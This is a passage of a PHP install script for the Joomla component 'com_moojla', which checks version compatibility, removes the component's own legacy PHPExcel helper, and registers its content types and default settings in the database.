target="_blank">http://Lmskaran.com</a>
today!</p>';
	}

	/**
	 * Called on update
	 *
	 * @param   JAdapterInstance  $parent  The object responsible for running
this script
	 *
	 * @return  boolean  True on success
	 */
	public function update(JAdapterInstance $parent){}

	/**
	 * Called before any type of action
	 *
	 * @param   string  $type  Which action is happening
(install|uninstall|discover_install|update)
	 * @param   JAdapterInstance  $parent  The object responsible for running
this script
	 *
	 * @return  boolean  True on success
	 */
	public function preflight($type, JAdapterInstance $parent)
	{
		// get application
		$app = JFactory::getApplication();
		// is redundant or so it seems ...hmmm let me know if it works again
		if ($type === 'uninstall')
		{
			return true;
		}
		// the default for both install and update
		$jversion = new JVersion();
		if (!$jversion->isCompatible('3.8.0'))
		{
			$app->enqueueMessage('Please upgrade to at least Joomla! 3.8.0
before continuing!', 'error');
			return false;
		}
		// do any updates needed
		if ($type === 'update')
		{
		}
		// do any install needed
		if ($type === 'install')
		{
		}
		// check if the PHPExcel stuff is still around
		if (File::exists(JPATH_ADMINISTRATOR .
'/components/com_moojla/helpers/PHPExcel.php'))
		{
			// We need to remove this old PHPExcel folder
			$this->removeFolder(JPATH_ADMINISTRATOR .
'/components/com_moojla/helpers/PHPExcel');
			// We need to remove this old PHPExcel file
			File::delete(JPATH_ADMINISTRATOR .
'/components/com_moojla/helpers/PHPExcel.php');
		}
		return true;
	}

	/**
	 * Called after any type of action
	 *
	 * @param   string  $type  Which action is happening
(install|uninstall|discover_install|update)
	 * @param   JAdapterInstance  $parent  The object responsible for running
this script
	 *
	 * @return  boolean  True on success
	 */
	public function postflight($type, JAdapterInstance $parent)
	{
		// get application
		$app = JFactory::getApplication();
		// We check if we have dynamic folders to copy
		$this->setDynamicF0ld3rs($app, $parent);
		// set the default component settings
		if ($type === 'install')
		{

			// Get The Database object
			$db = JFactory::getDbo();

			// Create the course content type object.
			$course = new stdClass();
			$course->type_title = 'Moojla Course';
			$course->type_alias = 'com_moojla.course';
			$course->table = '{"special": {"dbtable":
"#__moojla_course","key":
"id","type": "Course","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$course->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"shortname","core_state":
"published","core_alias":
"alias","core_created_time":
"created","core_modified_time":
"modified","core_body":
"teachers","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"metadata","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"metakey","core_metadesc":
"metadesc","core_catid":
"catid","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"shortname":"shortname","fullname":"fullname","addcontrols":"addcontrols","showregtab":"showregtab","startdate":"startdate","enterlbl":"enterlbl","cangotomoodle":"cangotomoodle","preloadaudio":"preloadaudio","loginurl":"loginurl","in_enrol_date":"in_enrol_date","enddate":"enddate","remoteid":"remoteid","guest":"guest","cost":"cost","teachers":"teachers","summary_files":"summary_files","autoplay":"autoplay","summary":"summary","useglobalaudio":"useglobalaudio","alias":"alias","cat_name":"cat_name","currency":"currency","alterurl":"alterurl","loginlbl":"loginlbl","buylbl":"buylbl","enrollbl":"enrollbl","popupbutton":"popupbutton","videotype":"videotype","registrationurl":"registrationurl","self_enrolment":"self_enrolment","freeenterlbl":"freeenterlbl","permanent_fields":"permanent_fields","useglobalvideo":"useglobalvideo","course_templatestyle_forcourseconfig":"course_templatestyle_forcourseconfig","preventdownload":"preventdownload","course_detail_layout":"course_detail_layout","preloadvideo":"preloadvideo","availabilityinfolink":"availabilityinfolink","muted":"muted","redirect_after_enrol":"redirect_after_enrol","preventdownloadaudio":"preventdownloadaudio","showlogintab":"showlogintab","autoplayaudio":"autoplayaudio","cat_id":"cat_id"}}';
			$course->router = 'MoojlaHelperRoute::getCourseRoute';
			$course->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/course.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","catid","addcontrols","showregtab","cangotomoodle","preloadaudio","remoteid","guest","cost","autoplay","useglobalaudio","popupbutton","videotype","useglobalvideo","course_templatestyle_forcourseconfig","preventdownload","preloadvideo","availabilityinfolink","muted","redirect_after_enrol","preventdownloadaudio","showlogintab","autoplayaudio","cat_id"],"displayLookup":
[{"sourceColumn": "catid","targetTable":
"#__categories","targetColumn":
"id","displayColumn":
"title"},{"sourceColumn":
"created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"course_templatestyle_forcourseconfig","targetTable":
"#__template_styles","targetColumn":
"id","displayColumn": "title"}]}';

			// Set the object into the content types table.
			$course_Inserted = $db->insertObject('#__content_types',
$course);

			// Create the course category content type object.
			$course_category = new stdClass();
			$course_category->type_title = 'Moojla Course Catid';
			$course_category->type_alias =
'com_moojla.course.category';
			$course_category->table =
'{"special":{"dbtable":"#__categories","key":"id","type":"Category","prefix":"JTable","config":"array()"},"common":{"dbtable":"#__ucm_content","key":"ucm_id","type":"Corecontent","prefix":"JTable","config":"array()"}}';
			$course_category->field_mappings =
'{"common":{"core_content_item_id":"id","core_title":"title","core_state":"published","core_alias":"alias","core_created_time":"created_time","core_modified_time":"modified_time","core_body":"description",
"core_hits":"hits","core_publish_up":"null","core_publish_down":"null","core_access":"access",
"core_params":"params",
"core_featured":"null",
"core_metadata":"metadata",
"core_language":"language",
"core_images":"null",
"core_urls":"null",
"core_version":"version",
"core_ordering":"null",
"core_metakey":"metakey",
"core_metadesc":"metadesc",
"core_catid":"parent_id",
"core_xreference":"null",
"asset_id":"asset_id"},
"special":{"parent_id":"parent_id","lft":"lft","rgt":"rgt","level":"level","path":"path","extension":"extension","note":"note"}}';
			$course_category->router =
'MoojlaHelperRoute::getCategoryRoute';
			$course_category->content_history_options =
'{"formFile":"administrator\/components\/com_categories\/models\/forms\/category.xml",
"hideFields":["asset_id","checked_out","checked_out_time","version","lft","rgt","level","path","extension"],
"ignoreChanges":["modified_user_id",
"modified_time", "checked_out",
"checked_out_time", "version", "hits",
"path"],"convertToInt":["publish_up",
"publish_down"],
"displayLookup":[{"sourceColumn":"created_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"access","targetTable":"#__viewlevels","targetColumn":"id","displayColumn":"title"},{"sourceColumn":"modified_user_id","targetTable":"#__users","targetColumn":"id","displayColumn":"name"},{"sourceColumn":"parent_id","targetTable":"#__categories","targetColumn":"id","displayColumn":"title"}]}';

			// Set the object into the content types table.
			$course_category_Inserted =
$db->insertObject('#__content_types', $course_category);

			// Create the course_field_mapper content type object.
			$course_field_mapper = new stdClass();
			$course_field_mapper->type_title = 'Moojla
Course_field_mapper';
			$course_field_mapper->type_alias =
'com_moojla.course_field_mapper';
			$course_field_mapper->table = '{"special":
{"dbtable":
"#__moojla_course_field_mapper","key":
"id","type":
"Course_field_mapper","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$course_field_mapper->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"coursefield","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"access","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"coursefield":"coursefield","mcoursefields":"mcoursefields","field_icon":"field_icon"}}';
			$course_field_mapper->router =
'MoojlaHelperRoute::getCourse_field_mapperRoute';
			$course_field_mapper->content_history_options =
'{"formFile":
"administrator/components/com_moojla/models/forms/course_field_mapper.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","coursefield"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"access","targetTable":
"#__viewlevels","targetColumn":
"id","displayColumn":
"title"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"coursefield","targetTable":
"#__fields","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"mcoursefields","targetTable":
"#__moojla_course_field_mapper","targetColumn":
"id","displayColumn": "id"}]}';

			// Set the object into the content types table.
			$course_field_mapper_Inserted =
$db->insertObject('#__content_types', $course_field_mapper);

			// Create the user_map content type object.
			$user_map = new stdClass();
			$user_map->type_title = 'Moojla User_map';
			$user_map->type_alias = 'com_moojla.user_map';
			$user_map->table = '{"special": {"dbtable":
"#__moojla_user_map","key":
"id","type": "User_map","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$user_map->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"jid","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"jid":"jid","mid":"mid","userimage":"userimage","debug":"debug","updatetype":"updatetype"}}';
			$user_map->router = 'MoojlaHelperRoute::getUser_mapRoute';
			$user_map->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/user_map.xml","hideFields":
["asset_id","checked_out","checked_out_time","version","debug"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","jid","mid","updatetype"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';

			// Set the object into the content types table.
			$user_map_Inserted = $db->insertObject('#__content_types',
$user_map);

			// Create the user_field_map content type object.
			$user_field_map = new stdClass();
			$user_field_map->type_title = 'Moojla User_field_map';
			$user_field_map->type_alias = 'com_moojla.user_field_map';
			$user_field_map->table = '{"special":
{"dbtable": "#__moojla_user_field_map","key":
"id","type":
"User_field_map","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$user_field_map->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"juserfields","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"juserfields":"juserfields","muserfields":"muserfields","iscv":"iscv"}}';
			$user_field_map->router =
'MoojlaHelperRoute::getUser_field_mapRoute';
			$user_field_map->content_history_options =
'{"formFile":
"administrator/components/com_moojla/models/forms/user_field_map.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","iscv"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"juserfields","targetTable":
"#__fields","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"muserfields","targetTable":
"#__moojla_user_field_map","targetColumn":
"id","displayColumn": "id"}]}';

			// Set the object into the content types table.
			$user_field_map_Inserted =
$db->insertObject('#__content_types', $user_field_map);

			// Create the course_group_map content type object.
			$course_group_map = new stdClass();
			$course_group_map->type_title = 'Moojla Course_group_map';
			$course_group_map->type_alias =
'com_moojla.course_group_map';
			$course_group_map->table = '{"special":
{"dbtable":
"#__moojla_course_group_map","key":
"id","type":
"Course_group_map","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$course_group_map->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"moojlacourse","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"moojlacourse":"moojlacourse","course_group":"course_group","role":"role"}}';
			$course_group_map->router =
'MoojlaHelperRoute::getCourse_group_mapRoute';
			$course_group_map->content_history_options =
'{"formFile":
"administrator/components/com_moojla/models/forms/course_group_map.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","moojlacourse","course_group","role"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"moojlacourse","targetTable":
"#__moojla_course","targetColumn":
"remoteid","displayColumn":
"fullname"},{"sourceColumn":
"course_group","targetTable":
"#__usergroups","targetColumn":
"id","displayColumn": "title"}]}';

			// Set the object into the content types table.
			$course_group_map_Inserted =
$db->insertObject('#__content_types', $course_group_map);

			// Create the enrolment content type object.
			$enrolment = new stdClass();
			$enrolment->type_title = 'Moojla Enrolment';
			$enrolment->type_alias = 'com_moojla.enrolment';
			$enrolment->table = '{"special": {"dbtable":
"#__moojla_enrolment","key":
"id","type": "Enrolment","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$enrolment->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"null","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"role":"role","moojlacourse":"moojlacourse","jid":"jid","enrolldate":"enrolldate"}}';
			$enrolment->router =
'MoojlaHelperRoute::getEnrolmentRoute';
			$enrolment->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/enrolment.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","moojlacourse","jid"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"moojlacourse","targetTable":
"#__moojla_course","targetColumn":
"remoteid","displayColumn":
"fullname"},{"sourceColumn":
"jid","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';

			// Set the object into the content types table.
			$enrolment_Inserted = $db->insertObject('#__content_types',
$enrolment);

			// Create the tag content type object.
			$tag = new stdClass();
			$tag->type_title = 'Moojla Tag';
			$tag->type_alias = 'com_moojla.tag';
			$tag->table = '{"special": {"dbtable":
"#__moojla_tag","key": "id","type":
"Tag","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$tag->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"tagname","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"access","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"tagid":"tagid","tagname":"tagname","isstandard":"isstandard","tags":"tags"}}';
			$tag->router = 'MoojlaHelperRoute::getTagRoute';
			$tag->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/tag.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","tagid","isstandard","tags"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"access","targetTable":
"#__viewlevels","targetColumn":
"id","displayColumn":
"title"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';

			// Set the object into the content types table.
			$tag_Inserted = $db->insertObject('#__content_types',
$tag);

			// Create the tag_instance content type object.
			$tag_instance = new stdClass();
			$tag_instance->type_title = 'Moojla Tag_instance';
			$tag_instance->type_alias = 'com_moojla.tag_instance';
			$tag_instance->table = '{"special":
{"dbtable": "#__moojla_tag_instance","key":
"id","type":
"Tag_instance","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$tag_instance->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"moojlacourse","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"access","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"moojlacourse":"moojlacourse","moodletag":"moodletag"}}';
			$tag_instance->router =
'MoojlaHelperRoute::getTag_instanceRoute';
			$tag_instance->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/tag_instance.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","moojlacourse","moodletag"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"access","targetTable":
"#__viewlevels","targetColumn":
"id","displayColumn":
"title"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"moojlacourse","targetTable":
"#__moojla_course","targetColumn":
"remoteid","displayColumn":
"fullname"},{"sourceColumn":
"moodletag","targetTable":
"#__moojla_tag","targetColumn":
"tagid","displayColumn": "tagname"}]}';

			// Set the object into the content types table.
			$tag_instance_Inserted =
$db->insertObject('#__content_types', $tag_instance);

			// Create the section content type object.
			$section = new stdClass();
			$section->type_title = 'Moojla Section';
			$section->type_alias = 'com_moojla.section';
			$section->table = '{"special": {"dbtable":
"#__moojla_section","key":
"id","type": "Section","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$section->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"section_id","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"summary","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"courseid":"courseid","section_id":"section_id","name":"name","visible":"visible","uservisible":"uservisible","summary":"summary"}}';
			$section->router = 'MoojlaHelperRoute::getSectionRoute';
			$section->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/section.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","courseid","section_id","visible","uservisible"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';

			// Set the object into the content types table.
			$section_Inserted = $db->insertObject('#__content_types',
$section);

			// Create the module content type object.
			$module = new stdClass();
			$module->type_title = 'Moojla Module';
			$module->type_alias = 'com_moojla.module';
			$module->table = '{"special": {"dbtable":
"#__moojla_module","key":
"id","type": "Module","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$module->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"module_id","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"modicon","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"module_section_id":"module_section_id","module_id":"module_id","name":"name","modname":"modname","visible":"visible","uservisible":"uservisible","modicon":"modicon","description":"description","url":"url"}}';
			$module->router = 'MoojlaHelperRoute::getModuleRoute';
			$module->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/module.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","module_section_id","module_id","visible","uservisible"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';

			// Set the object into the content types table.
			$module_Inserted = $db->insertObject('#__content_types',
$module);

			// Create the content content type object.
			$content = new stdClass();
			$content->type_title = 'Moojla Content';
			$content->type_alias = 'com_moojla.content';
			$content->table = '{"special": {"dbtable":
"#__moojla_content","key":
"id","type": "Content","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$content->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"type","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"contents_module_id":"contents_module_id","type":"type","filename":"filename","mimetype":"mimetype","file":"file","filesize":"filesize","fileurl":"fileurl"}}';
			$content->router = 'MoojlaHelperRoute::getContentRoute';
			$content->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/content.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","contents_module_id","filesize"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';

			// Set the object into the content types table.
			$content_Inserted = $db->insertObject('#__content_types',
$content);

			// Create the category_map content type object.
			$category_map = new stdClass();
			$category_map->type_title = 'Moojla Category_map';
			$category_map->type_alias = 'com_moojla.category_map';
			$category_map->table = '{"special":
{"dbtable": "#__moojla_category_map","key":
"id","type":
"Category_map","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$category_map->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"null","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"jcatid":"jcatid","mcatid":"mcatid"}}';
			$category_map->router =
'MoojlaHelperRoute::getCategory_mapRoute';
			$category_map->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/category_map.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","jcatid","mcatid"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn": "name"}]}';

			// Set the object into the content types table.
			$category_map_Inserted =
$db->insertObject('#__content_types', $category_map);

			// Create the cohort content type object.
			$cohort = new stdClass();
			$cohort->type_title = 'Moojla Cohort';
			$cohort->type_alias = 'com_moojla.cohort';
			$cohort->table = '{"special": {"dbtable":
"#__moojla_cohort","key":
"id","type": "Cohort","prefix":
"moojlaTable","config":
"array()"},"common": {"dbtable":
"#__ucm_content","key":
"ucm_id","type":
"Corecontent","prefix":
"JTable","config": "array()"}}';
			$cohort->field_mappings = '{"common":
{"core_content_item_id": "id","core_title":
"null","core_state":
"published","core_alias":
"null","core_created_time":
"created","core_modified_time":
"modified","core_body":
"null","core_hits":
"hits","core_publish_up":
"null","core_publish_down":
"null","core_access":
"null","core_params":
"params","core_featured":
"null","core_metadata":
"null","core_language":
"null","core_images":
"null","core_urls":
"null","core_version":
"version","core_ordering":
"ordering","core_metakey":
"null","core_metadesc":
"null","core_catid":
"null","core_xreference":
"null","asset_id":
"asset_id"},"special":
{"mcohort":"mcohort","course_group":"course_group"}}';
			$cohort->router = 'MoojlaHelperRoute::getCohortRoute';
			$cohort->content_history_options = '{"formFile":
"administrator/components/com_moojla/models/forms/cohort.xml","hideFields":
["asset_id","checked_out","checked_out_time","version"],"ignoreChanges":
["modified_by","modified","checked_out","checked_out_time","version","hits"],"convertToInt":
["published","ordering","mcohort","course_group"],"displayLookup":
[{"sourceColumn": "created_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"modified_by","targetTable":
"#__users","targetColumn":
"id","displayColumn":
"name"},{"sourceColumn":
"course_group","targetTable":
"#__usergroups","targetColumn":
"id","displayColumn": "title"}]}';

			// Set the object into the content types table.
			$cohort_Inserted = $db->insertObject('#__content_types',
$cohort);


			// Install the global extenstion params.
			$query = $db->getQuery(true);
			// Field to update.
			$fields = array(
				$db->quoteName('params') . ' = ' .
$db->quote('{"autorName":"Lmskaran","autorEmail":"info@Lmskaran.com","course_detail_ws":"1","fetch_course_contents":"0","showenrolled":"1","show_label_contents":"1","pagetype":"1","cert_download":"0","oncoursedeleted":"1","course_templatestyle":"0","showdebug":"0","favorite":"0","rating":"0","averagerate":"0","availabilityinfolink":"0","cangotomoodle":"0","redirect_after_enrol":"0","popupbutton":"1","showlogintab":"1","loginurl":"index.php?option=com_users&amp;task=login&amp;tmpl=component","showregtab":"1","registrationurl":"index.php?option=com_users&amp;view=registration&amp;tmpl=component","loginlbl":"Login","enterlbl":"Enter","freeenterlbl":"Enter
(free)","buylbl":"Buy","enrollbl":"Enroll","videotype":"1","videowidth":"100%","videoheight":"100%","preventdownload":"0","addcontrols":"1","preloadvideo":"0","autoplay":"0","muted":"0","preventdownloadaudio":"0","preloadaudio":"0","autoplayaudio":"0","additional_data_source":"0","student_group":"2","teacher_group":"6","total_fetch_moodle_users":"1000","number_per_request_fetch_moodle_users":"50","shop_integration":"0","shopcattype":"1","courses_category":"0","onenrolmethoddeleted":"1","moodleskyroommods":"lmskaranskyroom","directentry":"1","mycourses":"0","role":"0","showmycourse":"0","showsearchsidebar":"1","searchinmycourse":"1","number_of_results":"12","cs_display_cost":"1","coursegroupferchstep":"5","total_fetch_enrolment":"1000","number_per_request_fetch_enrolment":"50","check_in":"-1
day","save_history":"1","history_limit":"10","staffusers":["2"]}'),
			);
			// Condition.
			$conditions = array(
				$db->quoteName('element') . ' = ' .
$db->quote('com_moojla')
			);
			$query->update($db->quoteName('#__extensions'))->set($fields)->where($conditions);
			$db->setQuery($query);
			$allDone = $db->execute();



